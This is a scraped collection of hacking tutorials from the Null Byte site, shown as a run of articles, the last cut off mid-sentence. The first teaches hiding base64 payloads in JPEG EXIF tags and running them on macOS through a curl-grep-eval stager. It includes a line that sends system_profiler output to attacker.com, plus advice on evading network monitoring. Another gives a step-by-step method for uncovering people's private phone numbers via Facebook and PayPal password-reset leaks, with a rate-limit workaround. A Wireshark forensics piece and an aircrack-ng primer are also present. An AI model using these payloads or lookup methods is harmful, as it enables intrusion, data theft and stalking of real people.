Saving to: β€˜image.jpg’ image.jpg 100%[=================================>] 18.86K 64.4KB/s in 0.3s 2019-05-02 06:50:25 (64.4 KB/s) - β€˜image.jpg’ saved [19316/19316]Step 2: Generate the PayloadFor this example, we'll first learn to execute a straightforwardtouchcommand. When the stager executes the payload embedded in the image, it will create an empty file on the macOS desktop called "hacked."First, useprintf,base64, andtrto encode the payload. Base64 will encode the string, while tr will delete (-d) newlines (\n). You should always enclose the payload (touch ~/Desktop/hacked) in single-quotes.~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n' dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==A more complex payload, which involves macOS'ssystem_profilercommand, can be used to performsituational awarenessattacks as well ascurl to exfiltrate the command's outputto the attacker's server.~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n' ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==Taking it a step further, it would be possible to encode an entire Bash script that has been compressed into one line. In my tests, there seemed to beno limitation to how many characters can be embeddedinto a metadata tag.~$ cat /path/to/any_script.sh | base64 | tr -d '\n' ZnVuY3Rpb24gZXhlY19oYWNrKCkgeyAvdXNyL2Jpbi90b3VjaCB+L0Rlc2t0b3AvaGFja2VkOyB9O2V4ZWNfaGFjawo=Step 3: Embed the Payload into the ImageTo embed the encoded payload into the image, installexiftool.~$ apt-get update && apt-get install exiftool -V Reading package lists... Done Building dependency tree Reading state information... Done Note, selecting 'libimage-exiftool-perl' instead of 'exiftool' The following NEW packages will be installed: libarchive-zip-perl (1.64-1) libimage-exiftool-perl (11.16-1) libmime-charset-perl (1.012.2-1) libposix-strptime-perl (0.13-1+b5) libsombok3 (2.4.0-2) libunicode-linebreak-perl (0.0.20190101-1) 0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded. Need to get 3,629 kB of archives. After this operation, 21.0 MB of additional disk space will be used. Do you want to continue? [Y/n]Then, clear any and all EXIF metadata that may be in the image.~$ exiftool -all= image.jpg 1 image files updatedThen, useexiftoolto add a metadata tag β€” it will work with any available tag β€” containing the encoded payload. TheCertificatetag is used in this demonstration.~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg 1 image files updatedWhen that's done, verify the Certificate tag was properly added with the followingexiftoolcommand. Notice the encoded string on line 13.~$ exiftool image.jpg 01 ExifTool Version Number : 11.16 02 File Name : image.jpg 03 Directory : . 04 File Size : 21 kB 05 File Modification Date/Time : 2019:05:02 06:50:57+00:00 06 File Access Date/Time : 2019:05:02 06:50:57+00:00 07 File Inode Change Date/Time : 2019:05:02 06:50:57+00:00 08 File Permissions : rw-r--r-- 09 File Type : JPEG 10 File Type Extension : jpg 11 MIME Type : image/jpeg 12 XMP Toolkit : Image::ExifTool 11.16 13 Certificate : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA== 14 Image Width : 400 15 Image Height : 400 16 Encoding Process : Progressive DCT, Huffman coding 17 Bits Per Sample : 8 18 Color Components : 3 19 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) 20 Image Size : 400x400 21 Megapixels : 0.160Step 4: Upload the Image to a WebsiteFinding a suitable website is tricky. The criteria for this is severalfold.Avoid EXIF Data SanitizationMany popular websites like Twitter, Imgur, and Instagram automatically wipe metadata from images when uploaded, which is done primarily to protect users from accidentally uploading photos containing GPS coordinates that would allow cyberstalkers and cyberbullies to harass and find those users.Images containing payloads would be wiped when uploaded to mainstream websites. The candidate website would have to be manually tested by first uploading the image, then downloading it, and using exiftool to see if the embedded payload is still intact.Website EncryptionTransport layer security is essential to further obfuscating this attack. The website used to host the image should use HTTPS, which will help in preventing sysadmins from analyzing the GET request with surgical precision.Web Traffic IrregularitiesIdeally, the website used in the attack would be one visited by the target regularly. For example, if the target visited a particular news website every morning, a visit to this domain wouldn't appear suspicious to sysadmins monitoring traffic on the network. On the other hand, an unusual GET request to a foreign website or adult website will probably raise some red flags. This kind of information can be enumerated during the reconnaissance phase with covert packet captures. The key is to make the traffic look as ordinary to the target's web behavior as possible.Step 5: Generate the StagerIn my quick attempts to extract metadata from images usingnative macOS tools, none seemed capable of accessing or displaying the particular string ("Certificate") of EXIF metadata embedded in the image. Fortunately,grephas an-aoption which allows it to process binary files (i.e., images) as if they were plaintext, allowing it to find the "Certificate" string in the metadata.Below is an example stager that can be used to download images, extract and decode payloads, then execute the command(s).~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $pThere are a few things happening here, so I'll break down each section of the stager.p=$(...)β€” Most of the stager is enclosed in a variable called "p" (akapayload), done primarily to keep the image from being saved directly to the target's macOS hard drive.curl -s https://website.com/image.jpgβ€” Curl is used here to silently (-s) download the image containing the payload from a website of the attacker's choosing. The image is immediately piped (|) into the following grep command.grep Cert -aβ€” Grep will take the raw image data, process it as a plaintext (-a) while searching for the "Cert" string. That output would appear in a terminal as shown below.sed 's/<[^>]*>//g'β€” The above output is immediately piped into this sed command. Sed will remove all surrounding XML data (i.e., <xmpRights></xmpRights>), leaving only the encoded string.base64 -Dβ€” The encoded string is piped into this base64 command where it's decoded with the -D option, ultimately, making the $p variable the decoded payload.eval $pβ€” Finally, eval is used to evaluate the variable as a command, effectively executing the payload in its variable form.We can verify the attack was successfully executed by finding the "hacked" file on the macOS desktop.Again, this is a very simple payload. More sophisticated attacks may involve automatedbrowser password dumping,microphone eavesdropping,situational awareness enumeration,privilege escalation,sudo password exfiltration, andso on.Don't Miss:Getting Started with Hacking macOSThat's all there is to concealing payloads inside image metadata. Stay tuned, because I'll be showing how to exfiltrate data inside images β€” without the use of metadata tags β€” in a future article! Message me on Twitter@tokyoneon_if you have any questions, or leave a comment below.Don't Miss:Connect to a Backdoored MacBook from Anywhere in the WorldFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null ByteRelatedHow To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:Export Your Original Images, Live Photo Videos & Metadata in Apple Photos for MacHow To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Create an Undetectable PayloadHow To:7 Privacy Tips for Photos & Videos on Your iPhoneHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Completely Remove Your Hidden Personal Information from Digital PhotosHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Everything You Should Do Before Posting Protest Photos & Videos on Social MediaHow To:Change This Privacy Setting Before You Share Any Pictures on Google PhotosApple Photos 101:How to Hide Images & Videos from Your iPhone's Camera RollHow To:Stop Your iPhone Photos from Broadcasting Your Location to OthersHow To:The Ultimate Guide to Hacking macOSHow To:Dump a MacOS User's Chrome Passwords with EvilOSXHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 2 (Executing the Attack)How To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)How to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyHow To:Remove Yourself from a Tagged Photo on InstagramHack Like a Pro:How to Extract Metadata from Websites Using FOCA for WindowsHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How To:Remove Location Data from Photos & Videos You Share in iOS 13 to Keep Your Whereabouts PrivateHow To:Hide Contact Photos from Your Apple Messages List & Conversations to Declutter the InterfaceHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow To:Scrub the EXIF Data from Photos on Your Android Phone Before Sharing ThemHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hide Your WhatsApp Profile Photo So Other Users Can't See ItHow To:Edit metadata in ApertureHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Load & Use Keystroke Injection Payloads on the USB Rubber Ducky
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics) Β« Null Byte :: WonderHowTo
Welcome back, my hacker apprentices!I recentlybegana new series ondigital forensicsto show aspiring hackers what the forensic investigator can do and see while investigating a cyber attack. This is the second installment in that series and will focus upon network forensics. In other words, what can a network forensic investigator learn about the attacker during an investigation and how.Step 1: Get WiresharkAlthough there are numerous tools to do network analysis and investigations, the most widely used tool, by far, for doing so isWireshark. It's a free, network analysis tool that's ported for Windows, Unix, OS X and Linux, and you can get itfrom here. Even better, it's built into ourBackTrack, so no need to download anything, if you are using BackTrack.You can start Wireshark from the BackTrack menu by going toBackTrack->Information Gathering->Network Analysis->Network Traffic Analysisand click onWireshark.Step 2: Grab a Live CaptureNext, we need to start Wireshark, which is capable of doing analysis on pcap and other capture files, as well as a live capture. Let's do a live capture. Click onCaptureon theMenuacross the top and it will open a window like that below.Select the active interface, which in this case iseth0, as I'm running it on a wired connection.Step 3: Our ProblemHere's the problem we're faced with.Our client has been complaining that strange things are happening on his computer. His browser keeps changing his home page to a page that keeps telling him that his computer is infected with a virus, while also telling him that he needs to buy an antivirus program. We've all seen this at one time or another.In addition, his computer is running slowly and various ads keep coming up. Something has infected this system. Let's see what we can decipher about this situation.Step 4: Live CaptureWe start by sniffing the traffic on the network and we can see the live packets go by like that below.Note that Wireshark has three windows. The upper windows shows us each packet and some basic information about it. The middle window enables us to see each and every bit and byte of the packet headers. The bottom window shows us the packet contents in hexadecimal and ASCII.Step 5: Remote AttemptsThe far left column enumerates the packets in the order that they arrive. Let's look at packet 147 below. We can see a messenger packet from a device somewhere on the Internet. Let's take a closer look at this packet by clicking on it. When we do, it's details appear in the middle window in white.Since the messenger service is disabled on this network, nothing happens. We can verify that by looking at the next packet, which is an ICMP "Destination Unreachable" packet sent back to the IP requesting a messenger connection. This is suspicious activity.Step 6: Filter the TrafficWith so much traffic going by, we need to filter the traffic so we only see the traffic we are interested in. If we click on traffic between 216.49.88.118, we can see that this address is antivirus update from McAfee (note in the bottom window in the ASCII section a reference to mcafee.com).Since this traffic is not dangerous, we can remove it from our viewing by filtering it out. In this case, we want to see everything that is not coming from IP address 216.49.88.118. We can put the following filter into the filter window. When the syntax is correct it, the window background will turn green. The proper syntax to exclude an IP address is:!ip.addr == 216.49.88.118Now we have removed any traffic from our view coming from an innocuous address. This helps us focus our attention on the other, potentially malicious traffic.In the screenshot below, we have successfully filtered out the traffic to and from McAfee.Step 7: DNS QueryNow let's look down a few packets. In this screenshot, we can see that our client's computer (216.148.227.68) in the second packet shows a "standard query" with the DNS protocol to virtumonde.com. This is suspicious!If we scroll down to packet 386, we can see our client's host goes out to the virtumonde.com server and requests a download. When we click on this packet and expand its HTTP protocol in the middle window, we can see "updates.virtumonde.com\r\n."This is VERY suspicious activity and probably indicates that our client's system has been infected with a rootkit or spyware and it's reporting back to its home server.Keep coming back my aspiring hackers as we keep exploring the finer points of hacking and forensics!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Become a Computer Forensics Pro with This $29 TrainingNews:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)How To:Why You Should Study to Be a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)News:What to Expect from Null Byte in 2015News:Becoming a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)How To:Defend your hacker space with a USB missile launcherHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Recover deleted text messages on an iPhoneHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker Training
Scripting Β« Null Byte :: WonderHowTo
No content found.
How to Find Anyone's Private Phone Number Using Facebook Β« Null Byte :: WonderHowTo
Facebookreally wants your phone number, nagging you for one as soon as you join. This isn't all bad since it can help secure your account withtwo-factor authentication. On the flipside, this makes it easy to reveal the private phone numbers of virtually anyone on Facebook, including celebrities and politicians. We're going to look at how a hacker would do this and how to protect yourself.Many Facebook users may not even realize that their private phone number is connected to their Facebook account, having forgotten that they did so. Facebook isn't allowed to simply extract your number from your phone, but they can do what I refer to as the "app equivalent of cyberbullying" by repeatedly asking you to confirm and save your number each time you launch Facebook.The default privacy setting on Facebook allows anyone to search for you by your phone number once you add it.This is not a new issue. It has been around as long as the Facebook Graph search, but Facebook chooses to see this issue as a feature, asa letter received by Belgian researcher Inti De Ceukelaire shows.Image by Inti De Ceukelaire/TwitterCertainly, some people, such as celebrities and politicians, should be more concerned than others about revealing their private number online. However, anyone could potentially have a cyberstalker or hacker target them. Once a hacker has a phone number and your name, they can quickly useopen-source intelligence (OSINT) toolsthat we've covered on Null Byte to grab further public data like occupation, employer, spouse, relationship, any other public info.A hacker could use the information to furthersocial-engineering attacksby calling you directly. Think of the classic " Microsoft tech support" scam, only the caller trying to trick you knows your name and intimate details of your personal life. Armed with these, it's easy to make the target think the caller is legitimate.Don't Miss:How to Use Maltego to Research & Mine Data Like an AnalystHow would a hacker actually go about finding your number? In theory, if they had a lot of time, they could just search all 9,999,999,999 potential numbers until they stumbled upon yours. Clearly, this isn't very efficient, so let's see the right way of doing it. For a practice subject, I'll be using DC Mayor Muriel Bowser (2017) as a random city official. In the examples below, her number was changed to protect her real number.Step 1: Use the Area CodeIf you think of a target's phone number as one of all the possible 10-digit US phone numbers, you can quickly see that 10 billion North American phone numbers it far too large a list to effectively search through. Luckily for the hacker, he can cut this down thanks to theNorth American Numbering Plan (NANP)which lays out the guidelines for phone numbers in the US.Let's take an example: 234-235-5678. Looking at the NANP, we can see that the first three numbers (234) are the area code, and the plan allows for 2–9 as the first digit and 0-9 for the second and third digits. That information right there eliminates one billion possible numbers from the hacker's list.The hacker can also quickly take advantage of this if they know or can take an educated guess at where you live, as it's as easy a Google search. By doing this, the hacker can remove a further 9 billion 990 million numbers from the list of potential guesses.The next three numbers after the area code in our example (235) are the central office prefix. Again, the plan calls for 2–9 for the first digit and 0–9 for both the second and third digits, but with a caveat.In area codes where the second digit is 1, the third can't also be 1. This yet again removes a large number of phone numbers from the hacker's list. The last four digits of the phone number is the line number, in this case, 5678.I took the educated guess that the Mayor of DC would have a DC area code, and a hacker could also look up the target's Facebook account and likely find a hometown or the current city the target lives in or works from. Some larger cities like Los Angeles will have multiple area codes within them, but no matter how many "split" area codes there are, it still greatly reduces the hacker's list of possible numbers.Step 2: Get the Last NumbersNow that I know my target's number is 202-???-????, I want to try and remove as many of those question marks as possible, making it easier to do a Facebook search later on. Thankfully, Facebook has our back and has made this probably the second easiest step, after using the area code. In order to get the last two numbers, we just have to go a few steps into the password reset process.To do this, the hacker goes to the main Facebook page and clicks "Forgot account" to start the process.Next, they enter the target's name they have in mind and click the "Search" button.The hacker is then presented with a list that includes a face picture paired with each matching account that helps them quickly identify their target. There's our target right at the top!Facebook then kindly provides the hacker the last two digits of the targets number, along with some information about the emails accounts associated with their Facebook account, such as the first and last letter, and sometimes the email domain.That's as far as the hacker has to go. They don't actually reset the password, and they shouldn't so that the target never receives any kind of notification to tip them off.Step 3: Use Outside SourcesWith over 218 million users, PayPal and other services can help add to the information the attacker has collected so far. In this case, if the target is a PayPal user, the hacker can get two additional digits of the phone number we're looking for.In the picture above, you may have noticed that the first email listed is a Gmail account that starts with "M" and ends with "R."That's funny, since my targets first name starts with an "M," and her last name ends with an "R." To a hacker, this screams "I used my name as my email!" Suspecting this was the case, I checked it on Gmail by typing it in.Google accepted it, but that doesn't necessarily mean that it's the target's email. The hacker can check by doing the same password reset trick they pulled with Facebook.Yep, this account just so happens to have a number that ends in 69. Coincidence? I think not. Now that I have an email to work with, I can jump over to PayPal in a new tab, and once again, use the same password reset trick.This time, when I get to the password reset screen, I get not only all four digits of the line number, but also the first number of the area code too!This allows me to be reasonably sure that I'm on the right track with the area code, and verifies my previous work on finding the last few numbers. This means I have the number 202-???-6969 so far. In other words, my list has gone from 10 billion choices to about a thousand in just a few minutes of work.Step 4: Brute-Force It the Smart WayAt this point, a hacker could just start throwing numbers into the Facebook search bar, but that still wouldn't be that efficient. So what does a lazy hacker do? They take advantage of a Facebook feature that allows you to conduct abracket search.Facebook allows you to upload lists of contacts in CSV format, and then tells you if they are on Facebook so you can add them as friends. By constructing my own contact list of potential numbers, I can quickly rule out large chunks of wrong numbers.In this case, I know the number has to be in the range from 202-000-6969 to 202-999-6969. By cutting that in half and creating a list of numbers from 202-000-6969 to 202-500-6969, I can effectively rule out half of my list, as the target will only be in one of the two half lists created. Then, I can upload the list and instantly determine if they are on it or not.To create this list, I went toGoogle Contactsand clicked "Export" to get a sample CSV file to work from.Facebook prefers to accept the list in Google CSV format, so I saved it as such from Google Contacts.From there, a hacker can open the file in Google Sheets or Excel and change the column formula for the phone numbers to one that will iterate over the numbers they need to check, as seen in the following example.In the excel formula below, I start by taking the lowest value phone number, in this case, 2020006969, then I add 10,000 to it in order to increase the fifth place digit by 1. This formula will repeat as many times as needed, but we shouldn't do it more than 1,000 times because there are only a thousand numbers in our list to guess. If the target hadn't had a PayPal account to help us derive the third and fourth place digit, then we would be adding 100 to increase the third digit instead.=(ROW()*10000) +2020006969From there, it is simple to sign into a Facebook account and go to theFriend Finderfeature. Click on the Gmail logo and then "Find Friends."Next, scroll to the bottom of the page and upload your CSV file containing the phone numbers you wish to try.After it's uploaded, Facebook presents the hacker a list of "Friends" to add from the list. They would then search for their target inside that list. My target doesn't seem to be here, so I know they aren't in this half of our batch of numbers.Next, instead of testing the next 500, I split the next 500 in half and check one of those halves. This is because I already know the target will be on the second list since they weren't in the first half. The hacker can continue searching in this way until the target appears on a phone number list.From there on out, the hacker would test smaller and smaller batches of numbers until they have only a handful to test. I stopped when I had it down to about 30 numbers. Obviously, this will take longer if the hacker has less information about the other digits of the phone number to begin with, as they will have a larger number set to search. Facebook will rate-limit the hacker to five attempts per day but they can get around this by signing into another account.Step 5: Test the Last Few NumbersOnce that hacker has it down to a handful of numbers, they can go to the Facebook search bar and type them in one by one. To do so, just type the number into the search bar with no hyphens. If the requests are going too fast, or if they search for too many, Facebook starts to rate-limit them with a CAPTCHA.However, that's not much of a defense when the hacker only has 30 numbers to check.In total, it took me around 30 minutes to an hour to find the target's number, and these same steps could be used on anyone who has their phone connected to Facebook.Step 6: Protect YourselfThe simplest way to protect yourself is to never connect your phone to Facebook. If you still want to use two-factor authentication, Facebook allows you to use a USB U2F device without having to rely on your phone.If you absolutely must have your phone connected, navigate toFacebook Settings, select "Privacy," then "Who can look you up using the phone number you provided?" Set this option to "Friends." Unfortunately, Facebook doesn't let you set this to "Only me."On a mobile device, you would tap on the three-line menu icon, select "Account Settings" (iOS users will have to select "Settings" first), then tap on "Privacy." You'll see the same "Who can look you up" question above where you can change your preferences to "Friends" only.While this still will not provide absolute protection, it will make the hacker's life much more difficult.Thanks for reading! If you have any questions, you can leave a comment here or message me on Twitter@The_Hoid.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Hoid/Null ByteRelatedHow To:Prevent People Who Have Your Contact Information from Finding Your Instagram AccountSignal 101:How to Verify the Identity of a Contact You're Communicating WithHow To:Download Any TikTok Video on Your Phone β€” Even if They're Blocked from SavingHow To:Make Anonymous Calls from Your iPhoneHow To:Make Your TikTok Account Private (So Creeps Can't Lurk or Comment on Your Videos)How To:3 Great Apps for Reverse Phone Number Lookup on AndroidHow To:Make Secure Phone Calls Without Using Your Cellular Network for Enhanced EncryptionHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:5 Apps That Let You Make Calls Without Giving Out Your Real NumberHow To:Stop Oversharing & Reduce Your Online Footprint with These 9 Instagram Privacy TipsHow To:Secretly Call & Message Contacts Using an Innocent-Looking Android CalculatorHow To:Hack Someone's "Private" Friends List on Facebook to See All of Their FriendsHow To:Over 4 Million Snapchat Accounts Have Been Compromisedβ€”Is Yours One of Them?How To:Facebook's New Hello App Makes Your Android's Dialer & Contact List SmarterHow To:Lock the Dialer to Prevent Snooping When Letting Others Borrow Your AndroidHow To:Secure Your Facebook Account Using 2FA β€” Without Making Your Phone Number PublicHow To:Make an Anonymous Facebook Profile to Keep Your Personal Data PrivateHow To:Get a Full-Res Version of Anybody's Profile Pic on InstagramHow To:Hide Private Calls & Texts from Nosy People on Your Samsung Galaxy S3 or Other Android PhoneHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Understanding Modern Cryptography: Public KeysNews:Nextdoor Brings Private Social Networks to a Neighborhood Near YouNews:Facebook Privacy SettingsNews:Should district be allowed to demand middle-schooler's Facebook password?How To:Filter Unwanted Calls & SMS for Free with Google VoiceGreat Deal:Free Facebook Timeline Business CardsHow To:Prevent Social Networks from Tracking Your Internet ActivitiesRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Send SMS Messages with PythonNews:Privacy in the InternetNews:Block Cell Phone Signals on the Carrier of Your Choice by Hacking a Radio Frequency JammerHow To:Make the Most of Your Google+ PageNews:My Mom Bought me a RED camera so now I'm a DPHow To:Don't Know How YOU Can Help? We Do!News:5 Cell Phone Photography Apps to Help You Ring in the New YearHow To:Reverse Check a Phone NumberDEBUNKED:3 Viral Google+ MythsNews:Welcome to the Google+ Insider's Guide!Don't Get Doxed:5 Steps to Protecting Your Private Information on the WebSUBMIT:Self Portrait Cell Phone Photo by January 16th. WIN: Portable USB Power Supply
DB Hacking Β« Null Byte :: WonderHowTo
No content found.
How to Hack Wi-Fi: Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking Tools Β« Null Byte :: WonderHowTo
Welcome back, my fledgling hackers!In the first part of my series onWi-Fi hacking, we discussed thebasic terms and technologiesassociated with Wi-Fi. Now that you have a firm grip on what Wi-Fi is exactly and how it works, we can start diving into more advance topics onhow to hack Wi-Fi.In this article, we'll take a look at the world's best Wi-Fi hacking software,aircrack-ng, which we previously used tobump your annoying neighbor off their own Wi-Fi network. We'll be using aircrack-ng in nearly all of the subsequent hacks, so I think it's wise to start with some basics on what is included and how to use everything.Need a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Check out our post on picking the best adapter for Wi-Fi hacking!Image by SADMIN/Null ByteFirst of all, aircrack-ng is not a single tool, but rather a suite of tools for manipulating and cracking Wi-Fi networks. Within this suite, there is a tool calledaircrackfor cracking passwords, but to get to the cracking we need to do several steps using other tools. In addition, aircrack-ng is capable of doing DOS attacks as well rogue access points, caffe latte, evil twin, and many others.So, let's get started with the aircrack-ng suite!Quick NoteThengstands fornew generation, as aircrack-ng replaces an older suite calledaircrackthat is no longer supported.Step 1: IwconfigBefore we get started with aircrcak-ng, we need to make certain thatBackTrackrecognizesyour wireless adapter. We can do this within any Linux system by typing:bt > iwconfigWe can see here that BackTrack recognizes my USB wireless card, and it tells me that it's capable of 802.11bgn, that the ESSID is off, that the mode is managed, etc.Okay, now we're ready to start using aircrack-ng.Step 2: Airmon-NgThe first tool we will look at and need in nearly ever WiFi hack isairmon-ng, which converts our wireless card into a promiscuous mode wireless card. Yes, that means that our wireless card will hookup with anyone!Well, that's almost correct. When our network card is in promiscuous mode, it means that it can see and receive all network traffic. Generally, network cards will only receive packets intended for them (as determined by the MAC address of the NIC), but with airmon-ng, it will receive all wireless traffic intended for us or not.We can start this tool by typingairmon-ng, theaction(start/stop), and then theinterface(mon0):bt > airmon-ng start wlan1Airmon-ng responds with some key information on our wireless adapter including the chipset and driver. Most importantly, note that it has changed the designation for our wireless adapter from wlan1 to mon0.Step 3: Airodump-NgThe next tool in the aircrack-ng suite that we will need isairodump-ng, which enables us to capture packets of our specification. It's particularly useful in password cracking.We activate this tool by typing theairodump-ngcommand and therenamed monitor interface(mon0):bt >airodump-ng mon0As we can see in the screenshot above, airodump-ng displays all of the APs (access points) within range with their BSSID (MAC address), their power, the number of beacon frames, the number of data packets, the channel, the speed, the encryption method, the type of cipher used, the authentication method used, and finally, the ESSID.For our purposes of hacking WiFi, the most important fields will be the BSSID and the channel.Step 4: Aircrack-NgAircrack-ngis the primary application with the aircrack-ng suite, which is used for password cracking. It's capable of using statistical techniques to crack WEP and dictionary cracks for WPA and WPA2 after capturing the WPA handshake.Step 5: Aireplay-NgAireplay-ngis another powerful tool in our aircrack-ng arsenal, and it can be used to generate or accelerate traffic on the AP. This can be especially useful in attacks like a deauth attack that bumps everyone off the access point, WEP and WPA2 password attacks, as well as ARP injection and replay attacks.Aireplay-ng can obtain packets from two sources:A live stream of packets, orA pre-captured pcap fileThe pcap file is the standard file type associated with packet capture tools like libpcap and winpcap. If you've ever used Wireshark, you've most likely worked with pcap files.We can see in the screenshot above of the first half of the aireplay-ng help screen, that aireplay can filter by the BSSID of the access point, the MAC address of either source or destination, the minimum and maximum packet length, etc. If we scroll down the help screen, we can see some of the attack options using aireplay-ng:These include deauth, fake deauth, interactive, arpreplay (necessary for fast WEP cracking), chopchop (a form of statistical technique for WEP packet decrypting without cracking the password), fragment, caffe latte (attacking the client side), and others.These four tools in the aircrack-ng suite are our Wi-Fi hacking work horses. We'll use each of these in nearly every Wi-Fi hack. Some of our more hack-specific tools include airdecap-ng, airtun-ng, airolib-ng and airbase-ng. Let's take a brief look at each of these.Step 6: Airdecap-NgAirdecap-ngenables us to decrypt wireless traffic once we have cracked the key. In other words, once we have the key on the wireless access point, not only can we use the bandwidth on the access point, but with airdecap-ng we can decrypt everyone's traffic on the AP and watch everything they're doing (the key is used for both access and for encryption).Step 7: Airtun-NgAirtun-ngis a virtual tunnel interface creator. We can use airtun-ng to set up an IDS on the wireless traffic to detect malicious or other traffic on the wireless access point. So, if we're looking to get an alert of a particular type of traffic (see my tutorial oncreating a PRISM-like spy tool), we 